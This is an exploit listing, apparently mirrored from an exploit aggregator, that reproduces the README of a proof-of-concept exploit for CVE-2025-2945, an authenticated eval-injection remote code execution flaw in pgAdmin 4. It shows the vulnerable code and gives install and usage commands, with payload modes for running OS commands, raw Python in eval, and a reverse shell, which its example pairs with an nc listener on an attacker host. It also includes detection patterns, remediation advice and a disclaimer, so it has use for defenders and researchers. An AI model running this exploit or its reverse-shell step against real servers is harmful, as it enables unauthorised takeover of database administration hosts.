Exploit for Code Injection in Pgadmin Pgadmin_4

## https://sploitus.com/exploit?id=A39CFBC8-B21B-5BAA-B9C1-75E4B6A60819
# CVE-2025-2945 — pgAdmin 4 Authenticated Query Tool RCE

**CVSS 3.1: 9.9 (Critical)** · **Affects:** pgAdmin 4 8.10 – 9.1 · **Fixed in:** 9.2 (April 4, 2025)
**CWE-95** (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection)

A proof-of-concept exploit for CVE-2025-2945, an authenticated remote code execution
vulnerability in pgAdmin 4's Query Tool. A boolean transaction-state flag
(`query_commited`) is passed directly into Python's `eval()` instead of being
parsed as a boolean, allowing an authenticated user to execute arbitrary Python
— and by extension, arbitrary OS commands — under the privileges of the
pgAdmin service process. The same anti-pattern is present a second time in the
Cloud Deployment module's Google provider (`high_availability`).

A full technical write-up covering root cause, exploitation logic, detection
guidance, and remediation is available here:
**[khashayarnazarkardeh.com — Field Notes](https://khashayarnazarkardeh.com/#notes)**

---

## Vulnerability Summary

**Vulnerable code** (`web/pgadmin/tools/sqleditor/__init__.py`):

```python
if key == 'query_commited':
    query_commited = (
        eval(value) if isinstance(value, str) else value
    )
```

**Fixed code** (pgAdmin 9.2+):

```python
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)
```

The vulnerability requires an authenticated pgAdmin session and a Query Tool
transaction bound to a database server already registered in the target
account. Both are common preconditions in real deployments, where pgAdmin is
typically pre-configured with one or more saved server connections.

## Requirements

- Python 3.8+
- A valid pgAdmin web account (`--username` / `--password`)
- Credentials for a database server already registered in that pgAdmin
  account (`--db-user` / `--db-password` / `--db-name`)
- Target running pgAdmin 4 between 8.10 and 9.1 (inclusive)

## Installation

```bash
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt
```

## Usage

```bash
python3 CVE-2025-2945.py \
    --host  --port 80 \
    --username  --password  \
    --db-user  --db-password  --db-name  \
    --cmd id
```

### Payload modes (choose one)

| Flag | Description |
|---|---|
| `--cmd COMMAND` | Runs a single OS command via `os.system()` |
| `--reverse-shell HOST:PORT` | Spawns a named-pipe reverse shell to a listener you control |
| `--raw-payload EXPR` | Passes a raw Python expression directly to the vulnerable `eval()` sink |

### Example — reverse shell

```bash
# On your attack host, in a separate terminal:
nc -lvnp 4444

# Run the exploit:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username admin@example.com --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444
```

### Full options

```
python3 CVE-2025-2945.py --help
```

## Detection

Defenders should monitor for:

- POST requests to `/sqleditor/query_tool/download/` or
  `/cloud/deploy` where `query_commited` / `high_availability` is anything
  other than a literal `"true"`, `"false"`, `"1"`, or `"0"`.
- Python execution primitives (`__import__`, `os.system`, `subprocess`,
  `eval`, `exec`, `open(`) appearing in either parameter.
- Unexpected child processes spawned by the pgAdmin service account,
  particularly shell interpreters or network utilities.

## Remediation

Upgrade to **pgAdmin 4 9.2 or later**. The patch is a minimal, low-risk
boolean-coercion fix. Where immediate patching isn't possible, restrict
network access to pgAdmin to trusted, authenticated networks, and disable the
Cloud Deployment module for accounts that don't require it.

## References

- [NVD — CVE-2025-2945](https://nvd.nist.gov/vuln/detail/CVE-2025-2945)
- [GitHub Security Advisory — GHSA-g73c-fw68-pwx3](https://github.com/advisories/GHSA-g73c-fw68-pwx3)
- [pgAdmin issue #8603](https://github.com/pgadmin-org/pgadmin4/issues/8603)
- [Fix commit — 75be0bc](https://github.com/pgadmin-org/pgadmin4/commit/75be0bc22d3d8d7620711835db817bd7c021007c)

## Author

**Khashayar Nazarkardeh** — Cybersecurity & AI Security Leader
[khashayarnazarkardeh.com](https://khashayarnazarkardeh.com) · [@Khashayarnzk](https://github.com/Khashayarnzk)

## Disclaimer

This tool is provided for authorized security testing, research, and
educational purposes only. Running this against any system without explicit,
documented authorization from the system owner is illegal in most
jurisdictions. The author assumes no liability for misuse of this software.
By using this script you agree that you are solely responsible for ensuring
you have permission to test the target.